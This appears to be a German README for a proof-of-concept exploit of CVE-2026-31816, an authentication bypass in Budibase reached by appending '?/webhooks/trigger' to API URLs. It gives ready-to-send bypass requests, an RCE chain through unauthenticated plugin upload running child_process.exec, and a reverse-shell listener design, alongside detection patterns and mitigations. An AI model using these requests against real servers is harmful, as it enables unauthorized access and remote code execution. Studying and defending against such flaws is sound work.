k3ystr0k3r/cve-2026-31816CVE-2026-31816 – Budibase-Authentifizierungsumgehung bis hin zur Remote-Codeausführung (RCE)
CVE-2026-31816 ist eine kritische Schwachstelle zur Umgehung von Authentifizierung und Autorisierung, die Budibase betrifft.
Die Schwachstelle befindet sich in der serverseitigen Autorisierungs-Middleware, die für den Schutz von API-Endpunkten verantwortlich ist. Budibase versucht, legitime Webhook-Endpunkte mithilfe eines nicht verankerten regulären Ausdrucks zu identifizieren, und wertet diesen Ausdruck gegen das ctx.request.url von Koa aus.
Da ctx.request.url den Query-String enthält, kann ein Angreifer einen webhookartigen Pfad in die Query-Komponente einer ansonsten nicht verwandten API-Anfrage einschleusen.
Zum Beispiel:
/api/integrations?/webhooks/trigger
Die Anfrage zielt tatsächlich nicht auf den Webhook-Endpunkt ab. Die verwundbare Prüfung kann /webhooks/trigger jedoch als Beleg dafür interpretieren, dass es sich um eine legitime Webhook-Anfrage handelt, und die Ausführung ohne die normalen Authentifizierungs- und Autorisierungsprüfungen fortsetzen lassen.
NVD beschreibt das Problem dahingehend, dass ein vollständig nicht authentifizierter Remote-Angreifer auf serverseitige API-Endpunkte zugreifen kann, indem er ein Webhook-Pfadmuster an die URL anhängt.
NVD führt Budibase-Versionen bis einschließlich 3.31.4 als betroffen auf und vergibt einen CVSS-3.1-Score von 9.1.
Die verwundbare Logik dreht sich um die Webhook-Erkennung, die vor der normalen Autorisierung durchgeführt wird.
Das Security Advisory dokumentiert Code, der konzeptionell wie folgt äquivalent ist:
const WEBHOOK_ENDPOINTS = new RegExp(
[
"webhooks/trigger",
"webhooks/schema",
"webhooks/discord",
"webhooks/ms-teams"
].join("|")
)
export function isWebhookEndpoint(ctx) {
return WEBHOOK_ENDPOINTS.test(ctx.request.url)
}
Das Problem ist die Kombination zweier Verhaltensweisen:
ctx.request.url enthält den Query-String.Das bedeutet, dass der Ausdruck nicht dem tatsächlichen Anforderungspfad entsprechen muss.
Eine Anfrage wie:
/api/some/protected/endpoint?/webhooks/trigger
enthält dennoch die Zeichenfolge:
/webhooks/trigger
innerhalb der getesteten URL.
Die Autorisierungs-Middleware behandelt die Anfrage daraufhin als Webhook-Anfrage und erreicht den Endpunkt, ohne den normalen Autorisierungsablauf durchzuführen.
Das Budibase-Security-Advisory nennt dies ausdrücklich als zugrunde liegenden Fehler und merkt an, dass die Umgehung Authentifizierung, Autorisierung, Rollenprüfungen und CSRF-Schutz überspringt.
Eine normale Anfrage an einen geschützten API-Endpunkt würde erwartungsgemäß die Authentifizierungsschicht durchlaufen.
Zum Beispiel:
GET /api/integrations HTTP/1.1
Host: target.example
Connection: close
Eine verwundbare Instanz kann stattdessen mit dem Webhook-Query-String-Muster erreicht werden:
GET /api/integrations?/webhooks/trigger HTTP/1.1
Host: target.example
Connection: close
Der wichtigste Teil ist:
?/webhooks/trigger
Der Endpunkt selbst hat sich nicht geändert:
/api/integrations
Lediglich der Query-String wurde verändert.
Das öffentliche Budibase-Advisory demonstriert genau diese Technik gegen /api/integrations und mehrere andere serverseitige Endpunkte.
Eine sichere Methode, die Authentifizierungsumgehung in einer kontrollierten Laborumgebung zu verifizieren, besteht darin, eine gewöhnliche Anfrage mit der Webhook-Query-Variante zu vergleichen.
GET /api/integrations HTTP/1.1
Host: 127.0.0.1:10000
Connection: close
GET /api/integrations?/webhooks/trigger HTTP/1.1
Host: 127.0.0.1:10000
Connection: close
Der verwundbare Server kann die zweite Anfrage verarbeiten, ohne die Authentifizierungsprüfungen durchzuführen, die den Endpunkt normalerweise schützen.
Ein veröffentlichter PoC verwendet ebenfalls:
/api/integrations?/webhooks/trigger
als einfache Schwachstellenprüfung.
Das Folgende zeigt die Struktur einer authentifizierten API-Anfrage, die durch Hinzufügen des Webhook-Musters in eine nicht authentifizierte Anfrage umgewandelt wird.
POST /api/ta_users/search?/webhooks/trigger HTTP/1.1
Host: 127.0.0.1:10000
Content-Type: application/json
x-budibase-app-id: <TARGET_WORKSPACE_ID>
Connection: close
Content-Length: 12
{"query":{}}
Das offizielle Budibase-Advisory dokumentiert diesen Endpunkt als eine der betroffenen API-Oberflächen.
Weitere serverseitige Endpunkte, die über denselben Fehler als erreichbar dokumentiert sind, umfassen:
/api/tables
/api/datasources
/api/automations
/api/roles
/api/integrations
/api/views
/api/plugins
Die entscheidende Beobachtung ist, dass die Schwachstelle nicht an eine bestimmte Anwendungsressource gebunden ist. Die betroffene Autorisierungs-Middleware sitzt vor einer breiten Menge serverseitiger APIs.
Die Authentifizierungsumgehung kann erheblich ernster werden, wenn sie mit einer sensiblen API kombiniert wird, die in der Lage ist, vom Angreifer kontrollierte Funktionalität anzunehmen.
Der PoC in diesem Repository verkettet die Schwachstelle wie folgt:
┌─────────────────────────┐
│ Remote attacker │
└────────────┬────────────┘
│
│ ?/webhooks/trigger
▼
┌─────────────────────────┐
│ Budibase authorization │
│ middleware │
└────────────┬────────────┘
│
│ authentication bypass
▼
┌─────────────────────────┐
│ Protected server-side │
│ API endpoints │
└────────────┬────────────┘
│
│ plugin upload
▼
┌─────────────────────────┐
│ /api/plugin/upload │
└────────────┬────────────┘
│
│ crafted plugin
▼
┌─────────────────────────┐
│ Plugin JavaScript code │
│ execution │
└────────────┬────────────┘
│
▼
Code execution
/api/integrations, erstellt anschließend ein Budibase-Plugin-Archiv und übermittelt es über /api/plugin/upload.Sobald die Autorisierung umgangen wurde, folgt die Plugin-Upload-Anfrage dem normalen Multipart-Upload-Format, wobei die verwundbare Webhook-Query an die URL angehängt wird.
Eine bereinigte Darstellung ist:
POST /api/plugin/upload?/webhooks/trigger HTTP/1.1
Host: 127.0.0.1:10000
User-Agent: Mozilla/5.0
Content-Type: multipart/form-data; boundary=------------------------boundary
Connection: close
--------------------------boundary
Content-Disposition: form-data; name="file"; filename="datasource-helper.tar.gz"
Content-Type: application/gzip
<PLUGIN_ARCHIVE_BYTES>
--------------------------boundary--
Der PoC des Repositorys erstellt diese Multipart-Anfrage mit einem .tar.gz-Plugin-Archiv und sendet sie an /api/plugin/upload?/webhooks/trigger.
Aus Sicherheitsgründen belässt die obige Anfrage das ausführbare Archiv absichtlich als Platzhalter, anstatt direkt ein Reverse-Shell-Payload in die Dokumentation einzubetten.
Der PoC erzeugt ein Plugin-Archiv mit folgendem Inhalt:
package.json
schema.json
datasource-helper.js
Das Archiv wird als gzip-komprimiertes Tarball erstellt.
Die JavaScript-Komponente ist so konstruiert, dass Node.js child_process lädt und einen übergebenen Befehl ausführt:
var cp = require("child_process");
var cmd = "<COMMAND>";
cp.exec(cmd);
Die Implementierung des Repositorys unterstützt mehrere Payload-Typen und erzeugt den entsprechenden Befehl dynamisch.
Dies ist die zweite Stufe der Kette:
Authentication bypass
↓
Unauthenticated API access
↓
Plugin upload
↓
Attacker-controlled JavaScript
↓
Node.js command execution
Bei der Schwachstelle handelt es sich im Kern um einen Fehler bei der URL-Analyse und der Vertrauensgrenze.
Die Anwendung benötigt einige Webhook-Routen, die öffentlich zugänglich sein müssen. Anstatt zu bestimmen, ob der tatsächliche Anforderungspfad zu einer erlaubten Webhook-Route gehört, durchsucht die verwundbare Implementierung die gesamte URL nach einer passenden Teilzeichenfolge.
Konzeptionell:
Expected:
request.path
│
└── must actually equal a webhook endpoint
Actual vulnerable behavior:
request.url
│
├── path
└── query string
│
└── attacker-controlled text
│
└── /webhooks/trigger
Da der Query-String vom Angreifer kontrolliert wird, kann ein Angreifer die vom Webhook-Erkenner erwartete Zeichenfolge an beliebiger Stelle in der URL platzieren.
Dadurch liefert eine sicherheitsrelevante Boolesche Prüfung ein falsches Ergebnis:
isWebhookEndpoint(ctx)
│
├── false → normal authorization
│
└── true → return next()
│
├── authentication skipped
├── authorization skipped
├── role checks skipped
└── CSRF checks skipped
Das Budibase-Advisory beschreibt ausdrücklich das frühe return next()-Verhalten und die daraus resultierende Umgehung der Sicherheitsprüfungen.
Die Schwachstelle ist erheblich weitreichender als eine einfache Login-Umgehung.
Laut Hersteller-Advisory kann die Ausnutzung nicht authentifizierten Zugriff auf serverseitige APIs ermöglichen, die Folgendes betreffen:
Das Advisory bestätigt außerdem, dass die Umgehung den CSRF-Schutz aufhebt und weder Benutzerinteraktion noch vorhandene Anmeldedaten erfordert.
Wenn eine verwundbare API, die Angreifer-kontrollierte Funktionalität verarbeiten kann, über die Umgehung erreichbar ist, kann die Schwachstelle zu beliebiger Codeausführung verkettet werden.
Der in diesem Repository enthaltene PoC demonstriert diesen Angriffspfad, indem er ein Plugin-Archiv erstellt, es hochlädt und auf die Ausführung wartet.
Eine grundlegende Erkennungsstrategie besteht darin, das Authentifizierungsverhalten für eine gewöhnliche Anfrage und für dieselbe Anfrage mit einem Webhook-artigen Query-Suffix zu vergleichen.
Beispiel:
curl -i http://127.0.0.1:10000/api/integrations
im Vergleich:
curl -i 'http://127.0.0.1:10000/api/integrations?/webhooks/trigger'
Eine verwundbare Installation kann einen geschützten Endpunkt über die zweite Anfrage offenlegen.
Diese Technik wird auch von öffentlich verfügbarem Erkennungsmaterial für CVE-2026-31816 verwendet.
Der NVD-Eintrag identifiziert:
Budibase <= 3.31.4
als betroffen.
Es gibt eine wichtige Diskrepanz in der Dokumentation, die es zu beachten gilt: Das aktive GitHub-Security-Advisory zeigt derzeit „Patched versions: None“ an, während unabhängige Schwachstellen-Referenzen 3.31.5 und später als die Grenze für die Behebung identifizieren.
Aus diesem Grund sollte dieses Repository 3.31.5 nicht als unumstößlichen, vom Hersteller bestätigten Patch darstellen, es sei denn, das entsprechende Budibase-Release bzw. die entsprechende Änderung wurde unabhängig verifiziert.
Die primäre Behebung besteht darin, Budibase auf eine Version zu aktualisieren, die den Upstream-Fix enthält.
Bis ein Patch möglich ist, können defensive Maßnahmen Folgendes umfassen:
1. Restrict network access to the Budibase server.
2. Place the administrative interface behind trusted-network controls.
3. Monitor for webhook-style strings appearing in API query parameters.
4. Review logs for requests containing:
/webhooks/trigger
/webhooks/schema
/webhooks/discord
/webhooks/ms-teams
5. Restrict unnecessary plugin-management functionality.
Die Schwachstelle ist besonders besorgniserregend für internet-exponierte Self-Hosting-Bereitstellungen, da der Angriff keine authentifizierte Sitzung erfordert.
Ein nützlicher Indikator auf Protokollebene ist eine API-Anfrage, die ein Webhook-Routenmuster im Query-String enthält:
/api/*?/webhooks/trigger
/api/*?/webhooks/schema
/api/*?/webhooks/discord
/api/*?/webhooks/ms-teams
Zum Beispiel:
GET /api/integrations?/webhooks/trigger
POST /api/plugin/upload?/webhooks/trigger
POST /api/ta_users/search?/webhooks/trigger
Diese Muster sollten untersucht werden, anstatt automatisch als Beweis für eine Ausnutzung behandelt zu werden, da auch legitimer Datenverkehr und anwendungsspezifisches Verhalten berücksichtigt werden müssen.
Die Exploit-Implementierung in diesem Repository ist in mehrere logische Komponenten unterteilt:
ExploitConfig
│
├── target
├── LHOST
├── LPORT
└── payload type
│
▼
BudibaseClient
│
├── vulnerability check
└── plugin upload
│
▼
PluginBuilder
│
└── .tar.gz
│
▼
PayloadBuilder
│
└── JavaScript
│
▼
command execution
Die Implementierung enthält außerdem einen optionalen Listener, um nach erfolgreicher Ausnutzung eine Shell-Verbindung zu empfangen.
Für ein kontrolliertes Labor:
1. Deploy a vulnerable Budibase release.
2. Send a baseline request to a protected endpoint.
3. Repeat the request with ?/webhooks/trigger.
4. Compare the authentication behavior.
5. Confirm that the protected API becomes reachable.
6. In an isolated environment, test the plugin-upload stage.
7. Verify command execution using a harmless proof such as creating a temporary marker file.
Diese Schwachstelle ist ein gutes Beispiel dafür, warum sicherheitsrelevanter URL-Abgleich gegen einen ordnungsgemäß geparsten und normalisierten Anforderungspfad durchgeführt werden sollte und nicht gegen eine vollständige, vom Angreifer kontrollierte URL-Zeichenfolge.
Der Fehler ist subtil, weil die Webhook-Funktionalität selbst legitim ist. Das Problem ist die Vertrauensentscheidung, die von der Middleware getroffen wird:
"Does this request target a webhook?"
wird effektiv beantwortet durch:
"Does the entire URL contain a webhook-looking substring?"
Dabei handelt es sich nicht um äquivalente Sicherheitseigenschaften.
Ein Angreifer muss seine Anfrage daher nicht tatsächlich in eine Webhook-Anfrage verwandeln. Er muss die Autorisierungs-Middleware lediglich glauben lassen, dass es eine ist.
Dieses Repository ist für Sicherheitsforschung, Schwachstellenvalidierung und autorisierte Tests bestimmt. Verwenden Sie den Exploit nicht gegen Systeme, die Sie nicht besitzen oder für die Sie keine ausdrückliche Erlaubnis zum Testen haben.
| Feld | Wert |
|---|
| CVE | CVE-2026-31816 |
| Anbieter | Budibase |
| Produkt | Budibase |
| Betroffene Versionen | <= 3.31.4 |
| Schweregrad | Kritisch |
| CVSS v3.1 | 9.1 |
| CVSS-Vektor | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N |
| CWE | CWE-74 |
| Angriffsvektor | Netzwerk |
| Erforderliche Privilegien | Keine |
| Benutzerinteraktion | Keine |
| Authentifizierung erforderlich | Nein |